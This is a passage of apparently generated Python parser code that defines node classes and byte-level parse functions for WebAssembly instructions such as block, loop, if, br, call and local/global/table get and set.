= () id = 0x1 def __init__(self): Node.__init__(self) def __repr__(self): return f'nop()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_nop, fullparse) def _try_nop(_text, _pos): # Begin Seq start_pos47 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error816 _status = False # End Byte if not (_status): break id = _result _result = nop() _result._metadata.position_info = (start_pos47, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error816(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'nop' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class Block(Node): """ class Block { let id: 0x2 type: BlockType body: Expression } """ _fields = ('type', 'body') id = 0x2 def __init__(self, type, body): Node.__init__(self) self.type = type self.body = body def __repr__(self): return f'Block(type={self.type!r}, body={self.body!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Block, fullparse) def _try_Block(_text, _pos): # Begin Seq start_pos48 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error820 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_BlockType, _pos)) # End Ref if not (_status): break type = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break body = _result _result = Block(type, body) _result._metadata.position_info = (start_pos48, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error820(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Block' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) class Loop(Node): """ class Loop { let id: 0x3 type: BlockType body: Expression } """ _fields = ('type', 'body') id = 0x3 def __init__(self, type, body): Node.__init__(self) self.type = type self.body = body def __repr__(self): return f'Loop(type={self.type!r}, body={self.body!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Loop, fullparse) def _try_Loop(_text, _pos): # Begin Seq start_pos49 = _pos while True: # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error828 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_BlockType, _pos)) # End Ref if not (_status): break type = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break body = _result _result = Loop(type, body) _result._metadata.position_info = (start_pos49, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error828(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Loop' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) class If(Node): """ class If { let id: 0x4 type: BlockType true_case: Instruction* << Expect(0x5 | 0xb) else_case: Opt(0x5 >> Instruction*) << 0xb } """ _fields = ('type', 'true_case', 'else_case') id = 0x4 def __init__(self, type, true_case, else_case): Node.__init__(self) self.type = type self.true_case = true_case self.else_case = else_case def __repr__(self): return f'If(type={self.type!r}, true_case={self.true_case!r}, else_case={self.else_case!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_If, fullparse) def _try_If(_text, _pos): # Begin Seq start_pos50 = _pos while True: # Begin Byte # 0x4 if (_pos < len(_text)) and (_text[_pos] == 4): _result = 4 _pos = (_pos + 1) _status = True else: _result = _raise_error836 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_BlockType, _pos)) # End Ref if not (_status): break type = _result # Begin Discard # Instruction* << Expect(0x5 | 0xb) while True: # Begin List # Instruction* staging18 = [] while True: checkpoint17 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_Instruction, _pos)) # End Ref if not (_status): _pos = checkpoint17 break staging18.append(_result) _result = staging18 _status = True # End List staging19 = _result # Begin Expect # Expect(0x5 | 0xb) backtrack25 = _pos # Begin Choice farthest_err12 = _raise_error844 farthest_pos12 = _pos while True: # Option 1: # Begin Byte # 0x5 if (_pos < len(_text)) and (_text[_pos] == 5): _result = 5 _pos = (_pos + 1) _status = True else: _result = _raise_error845 _status = False # End Byte if _status: break # Option 2: # Begin Byte # 0xb if (_pos < len(_text)) and (_text[_pos] == 11): _result = 11 _pos = (_pos + 1) _status = True else: _result = _raise_error846 _status = False # End Byte if _status: break _pos = farthest_pos12 _result = farthest_err12 break # End Choice if _status: _pos = backtrack25 # End Expect if _status: _result = staging19 break # End Discard if not (_status): break true_case = _result # Begin Discard # Opt(0x5 >> Instruction*) << 0xb while True: # Begin Opt # Opt(0x5 >> Instruction*) backtrack26 = _pos # Begin Discard # 0x5 >> Instruction* while True: # Begin Byte # 0x5 if (_pos < len(_text)) and (_text[_pos] == 5): _result = 5 _pos = (_pos + 1) _status = True else: _result = _raise_error851 _status = False # End Byte if not (_status): break # Begin List # Instruction* staging20 = [] while True: checkpoint18 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_Instruction, _pos)) # End Ref if not (_status): _pos = checkpoint18 break staging20.append(_result) _result = staging20 _status = True # End List break # End Discard if not (_status): _pos = backtrack26 _result = None _status = True # End Opt staging21 = _result # Begin Byte # 0xb if (_pos < len(_text)) and (_text[_pos] == 11): _result = 11 _pos = (_pos + 1) _status = True else: _result = _raise_error854 _status = False # End Byte if _status: _result = staging21 break # End Discard if not (_status): break else_case = _result _result = If(type, true_case, else_case) _result._metadata.position_info = (start_pos50, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error836(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0x4\n\n' 'Expected to match the byte value 0x4' ) raise ParseError((title + details), _pos, line, col) def _raise_error844(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0x5 | 0xb\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _raise_error845(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0x5\n\n' 'Expected to match the byte value 0x5' ) raise ParseError((title + details), _pos, line, col) def _raise_error846(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0xb\n\n' 'Expected to match the byte value 0xb' ) raise ParseError((title + details), _pos, line, col) def _raise_error851(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0x5\n\n' 'Expected to match the byte value 0x5' ) raise ParseError((title + details), _pos, line, col) def _raise_error854(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'If' rule, at the expression:\n" ' 0xb\n\n' 'Expected to match the byte value 0xb' ) raise ParseError((title + details), _pos, line, col) class br(Node): """ class br { let id: 0xc label: LabelIndex } """ _fields = ('label',) id = 0xc def __init__(self, label): Node.__init__(self) self.label = label def __repr__(self): return f'br(label={self.label!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_br, fullparse) def _try_br(_text, _pos): # Begin Seq start_pos51 = _pos while True: # Begin Byte # 0xc if (_pos < len(_text)) and (_text[_pos] == 12): _result = 12 _pos = (_pos + 1) _status = True else: _result = _raise_error858 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LabelIndex, _pos)) # End Ref if not (_status): break label = _result _result = br(label) _result._metadata.position_info = (start_pos51, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error858(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'br' rule, at the expression:\n" ' 0xc\n\n' 'Expected to match the byte value 0xc' ) raise ParseError((title + details), _pos, line, col) class br_if(Node): """ class br_if { let id: 0xd label: LabelIndex } """ _fields = ('label',) id = 0xd def __init__(self, label): Node.__init__(self) self.label = label def __repr__(self): return f'br_if(label={self.label!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_br_if, fullparse) def _try_br_if(_text, _pos): # Begin Seq start_pos52 = _pos while True: # Begin Byte # 0xd if (_pos < len(_text)) and (_text[_pos] == 13): _result = 13 _pos = (_pos + 1) _status = True else: _result = _raise_error864 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LabelIndex, _pos)) # End Ref if not (_status): break label = _result _result = br_if(label) _result._metadata.position_info = (start_pos52, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error864(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'br_if' rule, at the expression:\n" ' 0xd\n\n' 'Expected to match the byte value 0xd' ) raise ParseError((title + details), _pos, line, col) class br_table(Node): """ class br_table { let id: 0xe labels: vec(LabelIndex) default: LabelIndex } """ _fields = ('labels', 'default') id = 0xe def __init__(self, labels, default): Node.__init__(self) self.labels = labels self.default = default def __repr__(self): return f'br_table(labels={self.labels!r}, default={self.default!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_br_table, fullparse) def _try_br_table(_text, _pos): # Begin Seq start_pos53 = _pos while True: # Begin Byte # 0xe if (_pos < len(_text)) and (_text[_pos] == 14): _result = 14 _pos = (_pos + 1) _status = True else: _result = _raise_error870 _status = False # End Byte if not (_status): break id = _result # Begin Call # vec(LabelIndex) func25 = _ParseFunction(_try_vec, (_try_LabelIndex,), ()) (_status, _result, _pos) = (yield (3, func25, _pos)) # End Call if not (_status): break labels = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LabelIndex, _pos)) # End Ref if not (_status): break default = _result _result = br_table(labels, default) _result._metadata.position_info = (start_pos53, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error870(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'br_table' rule, at the expression:\n" ' 0xe\n\n' 'Expected to match the byte value 0xe' ) raise ParseError((title + details), _pos, line, col) class ret(Node): """ class ret { let id: 0xf } """ _fields = () id = 0xf def __init__(self): Node.__init__(self) def __repr__(self): return f'ret()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ret, fullparse) def _try_ret(_text, _pos): # Begin Seq start_pos54 = _pos while True: # Begin Byte # 0xf if (_pos < len(_text)) and (_text[_pos] == 15): _result = 15 _pos = (_pos + 1) _status = True else: _result = _raise_error880 _status = False # End Byte if not (_status): break id = _result _result = ret() _result._metadata.position_info = (start_pos54, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error880(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ret' rule, at the expression:\n" ' 0xf\n\n' 'Expected to match the byte value 0xf' ) raise ParseError((title + details), _pos, line, col) class call(Node): """ class call { let id: 0x10 function: FunctionIndex } """ _fields = ('function',) id = 0x10 def __init__(self, function): Node.__init__(self) self.function = function def __repr__(self): return f'call(function={self.function!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_call, fullparse) def _try_call(_text, _pos): # Begin Seq start_pos55 = _pos while True: # Begin Byte # 0x10 if (_pos < len(_text)) and (_text[_pos] == 16): _result = 16 _pos = (_pos + 1) _status = True else: _result = _raise_error884 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_FunctionIndex, _pos)) # End Ref if not (_status): break function = _result _result = call(function) _result._metadata.position_info = (start_pos55, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error884(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'call' rule, at the expression:\n" ' 0x10\n\n' 'Expected to match the byte value 0x10' ) raise ParseError((title + details), _pos, line, col) class call_indirect(Node): """ class call_indirect { let id: 0x11 type_index: TypeIndex table_index: TableIndex } """ _fields = ('type_index', 'table_index') id = 0x11 def __init__(self, type_index, table_index): Node.__init__(self) self.type_index = type_index self.table_index = table_index def __repr__(self): return f'call_indirect(type_index={self.type_index!r}, table_index={self.table_index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_call_indirect, fullparse) def _try_call_indirect(_text, _pos): # Begin Seq start_pos56 = _pos while True: # Begin Byte # 0x11 if (_pos < len(_text)) and (_text[_pos] == 17): _result = 17 _pos = (_pos + 1) _status = True else: _result = _raise_error890 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TypeIndex, _pos)) # End Ref if not (_status): break type_index = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table_index = _result _result = call_indirect(type_index, table_index) _result._metadata.position_info = (start_pos56, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error890(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'call_indirect' rule, at the expression:\n" ' 0x11\n\n' 'Expected to match the byte value 0x11' ) raise ParseError((title + details), _pos, line, col) class ref_null(Node): """ class ref_null { let id: 0xd0 type: ReferenceType } """ _fields = ('type',) id = 0xd0 def __init__(self, type): Node.__init__(self) self.type = type def __repr__(self): return f'ref_null(type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ref_null, fullparse) def _try_ref_null(_text, _pos): # Begin Seq start_pos57 = _pos while True: # Begin Byte # 0xd0 if (_pos < len(_text)) and (_text[_pos] == 208): _result = 208 _pos = (_pos + 1) _status = True else: _result = _raise_error898 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if not (_status): break type = _result _result = ref_null(type) _result._metadata.position_info = (start_pos57, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error898(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ref_null' rule, at the expression:\n" ' 0xd0\n\n' 'Expected to match the byte value 0xd0' ) raise ParseError((title + details), _pos, line, col) class ref_is_null(Node): """ class ref_is_null { let id: 0xd1 } """ _fields = () id = 0xd1 def __init__(self): Node.__init__(self) def __repr__(self): return f'ref_is_null()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ref_is_null, fullparse) def _try_ref_is_null(_text, _pos): # Begin Seq start_pos58 = _pos while True: # Begin Byte # 0xd1 if (_pos < len(_text)) and (_text[_pos] == 209): _result = 209 _pos = (_pos + 1) _status = True else: _result = _raise_error904 _status = False # End Byte if not (_status): break id = _result _result = ref_is_null() _result._metadata.position_info = (start_pos58, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error904(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ref_is_null' rule, at the expression:\n" ' 0xd1\n\n' 'Expected to match the byte value 0xd1' ) raise ParseError((title + details), _pos, line, col) class ref_func(Node): """ class ref_func { let id: 0xd2 function: FunctionIndex } """ _fields = ('function',) id = 0xd2 def __init__(self, function): Node.__init__(self) self.function = function def __repr__(self): return f'ref_func(function={self.function!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ref_func, fullparse) def _try_ref_func(_text, _pos): # Begin Seq start_pos59 = _pos while True: # Begin Byte # 0xd2 if (_pos < len(_text)) and (_text[_pos] == 210): _result = 210 _pos = (_pos + 1) _status = True else: _result = _raise_error908 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_FunctionIndex, _pos)) # End Ref if not (_status): break function = _result _result = ref_func(function) _result._metadata.position_info = (start_pos59, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error908(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ref_func' rule, at the expression:\n" ' 0xd2\n\n' 'Expected to match the byte value 0xd2' ) raise ParseError((title + details), _pos, line, col) class drop(Node): """ class drop { let id: 0x1a } """ _fields = () id = 0x1a def __init__(self): Node.__init__(self) def __repr__(self): return f'drop()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_drop, fullparse) def _try_drop(_text, _pos): # Begin Seq start_pos60 = _pos while True: # Begin Byte # 0x1a if (_pos < len(_text)) and (_text[_pos] == 26): _result = 26 _pos = (_pos + 1) _status = True else: _result = _raise_error914 _status = False # End Byte if not (_status): break id = _result _result = drop() _result._metadata.position_info = (start_pos60, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error914(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'drop' rule, at the expression:\n" ' 0x1a\n\n' 'Expected to match the byte value 0x1a' ) raise ParseError((title + details), _pos, line, col) class select(Node): """ class select { let id: 0x1b } """ _fields = () id = 0x1b def __init__(self): Node.__init__(self) def __repr__(self): return f'select()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_select, fullparse) def _try_select(_text, _pos): # Begin Seq start_pos61 = _pos while True: # Begin Byte # 0x1b if (_pos < len(_text)) and (_text[_pos] == 27): _result = 27 _pos = (_pos + 1) _status = True else: _result = _raise_error918 _status = False # End Byte if not (_status): break id = _result _result = select() _result._metadata.position_info = (start_pos61, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error918(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'select' rule, at the expression:\n" ' 0x1b\n\n' 'Expected to match the byte value 0x1b' ) raise ParseError((title + details), _pos, line, col) class select_t(Node): """ class select_t { let id: 0x1c types: vec(ValueType) } """ _fields = ('types',) id = 0x1c def __init__(self, types): Node.__init__(self) self.types = types def __repr__(self): return f'select_t(types={self.types!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_select_t, fullparse) def _try_select_t(_text, _pos): # Begin Seq start_pos62 = _pos while True: # Begin Byte # 0x1c if (_pos < len(_text)) and (_text[_pos] == 28): _result = 28 _pos = (_pos + 1) _status = True else: _result = _raise_error922 _status = False # End Byte if not (_status): break id = _result # Begin Call # vec(ValueType) func26 = _ParseFunction(_try_vec, (_try_ValueType,), ()) (_status, _result, _pos) = (yield (3, func26, _pos)) # End Call if not (_status): break types = _result _result = select_t(types) _result._metadata.position_info = (start_pos62, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error922(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'select_t' rule, at the expression:\n" ' 0x1c\n\n' 'Expected to match the byte value 0x1c' ) raise ParseError((title + details), _pos, line, col) class local_get(Node): """ class local_get { let id: 0x20 index: LocalIndex } """ _fields = ('index',) id = 0x20 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'local_get(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_local_get, fullparse) def _try_local_get(_text, _pos): # Begin Seq start_pos63 = _pos while True: # Begin Byte # 0x20 if (_pos < len(_text)) and (_text[_pos] == 32): _result = 32 _pos = (_pos + 1) _status = True else: _result = _raise_error930 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LocalIndex, _pos)) # End Ref if not (_status): break index = _result _result = local_get(index) _result._metadata.position_info = (start_pos63, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error930(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'local_get' rule, at the expression:\n" ' 0x20\n\n' 'Expected to match the byte value 0x20' ) raise ParseError((title + details), _pos, line, col) class local_set(Node): """ class local_set { let id: 0x21 index: LocalIndex } """ _fields = ('index',) id = 0x21 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'local_set(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_local_set, fullparse) def _try_local_set(_text, _pos): # Begin Seq start_pos64 = _pos while True: # Begin Byte # 0x21 if (_pos < len(_text)) and (_text[_pos] == 33): _result = 33 _pos = (_pos + 1) _status = True else: _result = _raise_error936 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LocalIndex, _pos)) # End Ref if not (_status): break index = _result _result = local_set(index) _result._metadata.position_info = (start_pos64, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error936(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'local_set' rule, at the expression:\n" ' 0x21\n\n' 'Expected to match the byte value 0x21' ) raise ParseError((title + details), _pos, line, col) class local_tee(Node): """ class local_tee { let id: 0x22 index: LocalIndex } """ _fields = ('index',) id = 0x22 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'local_tee(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_local_tee, fullparse) def _try_local_tee(_text, _pos): # Begin Seq start_pos65 = _pos while True: # Begin Byte # 0x22 if (_pos < len(_text)) and (_text[_pos] == 34): _result = 34 _pos = (_pos + 1) _status = True else: _result = _raise_error942 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LocalIndex, _pos)) # End Ref if not (_status): break index = _result _result = local_tee(index) _result._metadata.position_info = (start_pos65, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error942(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'local_tee' rule, at the expression:\n" ' 0x22\n\n' 'Expected to match the byte value 0x22' ) raise ParseError((title + details), _pos, line, col) class global_get(Node): """ class global_get { let id: 0x23 index: GlobalIndex } """ _fields = ('index',) id = 0x23 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'global_get(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_global_get, fullparse) def _try_global_get(_text, _pos): # Begin Seq start_pos66 = _pos while True: # Begin Byte # 0x23 if (_pos < len(_text)) and (_text[_pos] == 35): _result = 35 _pos = (_pos + 1) _status = True else: _result = _raise_error948 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalIndex, _pos)) # End Ref if not (_status): break index = _result _result = global_get(index) _result._metadata.position_info = (start_pos66, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error948(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'global_get' rule, at the expression:\n" ' 0x23\n\n' 'Expected to match the byte value 0x23' ) raise ParseError((title + details), _pos, line, col) class global_set(Node): """ class global_set { let id: 0x24 index: GlobalIndex } """ _fields = ('index',) id = 0x24 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'global_set(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_global_set, fullparse) def _try_global_set(_text, _pos): # Begin Seq start_pos67 = _pos while True: # Begin Byte # 0x24 if (_pos < len(_text)) and (_text[_pos] == 36): _result = 36 _pos = (_pos + 1) _status = True else: _result = _raise_error954 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalIndex, _pos)) # End Ref if not (_status): break index = _result _result = global_set(index) _result._metadata.position_info = (start_pos67, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error954(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'global_set' rule, at the expression:\n" ' 0x24\n\n' 'Expected to match the byte value 0x24' ) raise ParseError((title + details), _pos, line, col) class table_get(Node): """ class table_get { let id: 0x25 index: TableIndex } """ _fields = ('index',) id = 0x25 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'table_get(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_get, fullparse) def _try_table_get(_text, _pos): # Begin Seq start_pos68 = _pos while True: # Begin Byte # 0x25 if (_pos < len(_text)) and (_text[_pos] == 37): _result = 37 _pos = (_pos + 1) _status = True else: _result = _raise_error960 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break index = _result _result = table_get(index) _result._metadata.position_info = (start_pos68, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error960(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_get' rule, at the expression:\n" ' 0x25\n\n' 'Expected to match the byte value 0x25' ) raise ParseError((title + details), _pos, line, col) class table_set(Node): """ class table_set { let id: 0x26 index: TableIndex } """ _fields = ('index',) id = 0x26 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'table_set(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_set, fullparse) def _try_table_set(_text, _pos): # Begin Seq start_pos69 = _pos while True: # Begin Byte # 0x26 if (_pos < len(_text)) and (_text[_pos] == 38): _result = 38 _pos = (_pos + 1) _status = True else: _result = _raise_error966 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break index = _result _result = table_set(index) _result._metadata.position_info = 